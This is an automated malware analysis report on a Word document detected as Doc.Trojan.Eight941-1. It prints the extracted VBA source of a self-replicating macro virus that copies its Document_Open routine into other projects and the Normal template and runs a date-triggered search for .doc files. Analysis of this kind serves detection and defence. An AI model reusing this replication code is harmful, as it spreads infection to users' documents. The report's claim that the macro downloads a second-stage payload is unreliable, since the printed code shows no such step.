Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1098af013563a97d…

MALICIOUS

Office (OLE)

71.5 KB Created: 2001-12-11 11:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3c0f21c6e6348d3395b5b486ebbf67c7 SHA-1: 96d88f3b1b86c79ae6016d99a787b0a963925c9c SHA-256: 1098af013563a97de103cf76bf1a6baac64e517deb58b112b5b6fb63695b3245
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains VBA macros, specifically a Document_Open macro. The macro code appears to search for .doc files on the C: drive, suggesting a potential data collection or staging behavior before executing further actions. The primary function of the macro is likely to download and execute a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Eight941-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Eight941-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2382 bytes
SHA-256: e2f19160415230c8f18b58fe17de8315ea642277528c74584ba6e166028c2420
Detection
ClamAV: Doc.Trojan.Eight941-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()

Dim i, j As Integer
j = -1
For i = 1 To Application.VBE.VBProjects.Count
    If Application.VBE.VBProjects(i).Name = "Normal" Then
        j = i
    End If
    If Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = False Then
        Dim B, l As Integer
            If j > 0 Then
                If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = True Then
                    B = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l)
                Else
                    B = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(B, B + l)
            End If
        End If
    End If
Next i
If (Month(Date) = 11 And Day(Date) = 10) Or (Month(Date) = 7 And Day(Date) = 1) Then
Set fs = Application.FileSearch
    fs.LookIn = "c:\"
    fs.FileName = "*.doc"
    fs.SearchSubFolders = True
    If fs.Execute() > 0 Then
        For i = 1 To fs.FoundFiles.Count
            
            
            Options.AllowFastSave = True
            Options.BackgroundSave = True
            Options.CreateBackup = False
            Options.SavePropertiesPrompt = False
            Options.SaveNormalPrompt = False
Exitub:
               Next i
    End If
End If
End Sub

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